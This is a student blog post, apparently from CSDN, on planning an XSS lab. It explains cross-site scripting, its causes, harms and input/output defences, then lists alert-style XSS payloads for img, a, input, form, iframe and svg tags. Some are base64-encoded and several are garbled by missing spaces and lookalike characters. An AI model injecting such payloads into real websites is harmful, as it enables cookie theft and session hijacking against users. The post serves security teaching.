山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十八)-XSS(1)


前言:

本篇博客记录下XSS漏洞的相关知识,思考如何搭建XSS漏洞靶场环境。


1、XSS漏洞简介

1.1、什么是XSS

XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。


1.2、XSS产生原因、漏洞原理

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。


1.3、XSS会造成那些危害?

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。

1、网络钓鱼,包括获取各类用户账号

2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

3、劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等

4、强制弹出广告页面、刷流量等

5、网页挂马;

6、进行恶意操作,如任意篡改页面信息、删除文章等

7、进行大量的客户端攻击,如ddos等

8、获取客户端信息,如用户的浏览历史、真实p、开放端口等

9、控制受害者机器向其他网站发起攻击;

10、结合其他漏洞,如csrf,实施进步危害;

11、提升用户权限,包括进一步渗透网站

12、传播跨站脚本蠕虫等


1.4、XSS的防御

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;


1.5、XSS常见出现的地方

1、数据交互的地方

get、post、cookies、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

2、数据输出的地方

用户资料

关键词、标签、说明

文件上传


1.6、常见标签及利用方式

  • <img>标签

    利用方式1

<imgsrc=javascript:alert("xss")>

<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>
    
<imgscr="URL"style='Xss:expression(alert(/xss));'

imgSTYLE=“background-image:url(javascript:alert(‘XSS’))”

利用方式2

<imgsrc="x"οnerrοr=alert(1)>

<imgsrc="1"οnerrοr=eval("alert('xss')")>

利用方式3

<imgsrc=1onmouseover=alert('xss')>
  • <a>标签

标准格式

<ahref="https://www.baidu.com">baidu</a>

XSS利用方式1

<ahref="javascript:alert('xss')">aa</a>
<ahref=javascript:eval(alert('xss'))>aa</a>
<ahref="javascript:aaa"οnmοuseοver="alert(/xss/)">aa</a>

XSS利用方式2

<script>alert('xss')</script>

利用方式3

<ahref=""οnclick=eval(alert('xss'))>aa</a>

利用方式4

<ahref=kycg.asp?ttt=1000οnmοuseοver=prompt('xss')y=2016>aa</a>
  • input标签

标准格式

<inputname="name"value="">

利用方式1

<inputvalue=""onclick=alert('xss')type="text">

利用方式2

<inputname="name"value=""onmouseover=prompt('xss')bad="">

利用方式4

<inputname="name"value=""><script>alert('xss')</script>
  • <form>标签

XSS利用方式1

<formaction=javascript:alert('xss')method="get">
<formaction=javascript:alert('xss')>

XSS利用方式2

<formmethod=postaction=aa.asp?onmouseover=prompt('xss')>
<formmethod=postaction=aa.asp?onmouseover=alert('xss')>
<formaction=1onmouseover=alert('xss)>

XSS利用方式3

<formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">
<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  • <iframe>标签

XSS利用方式1

<iframesrc=javascript:alert('xss');height=5width=1000/><iframe>

XSS利用方式2

<iframesrc="data:text/html,<script>alert('xss')</script>"></iframe>

<iframesrc="data:text/html;base64,<script>alert('xss')</script>">

<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

XSS利用方式3

<iframesrc="aaa"onmouseover=alert('xss')/><iframe>

XSS利用方式3

<iframesrc="javascript:prompt(`xss`)"></iframe>
  • svg<>标签
<svgοnlοad=alert(1)>
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

陌兮_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值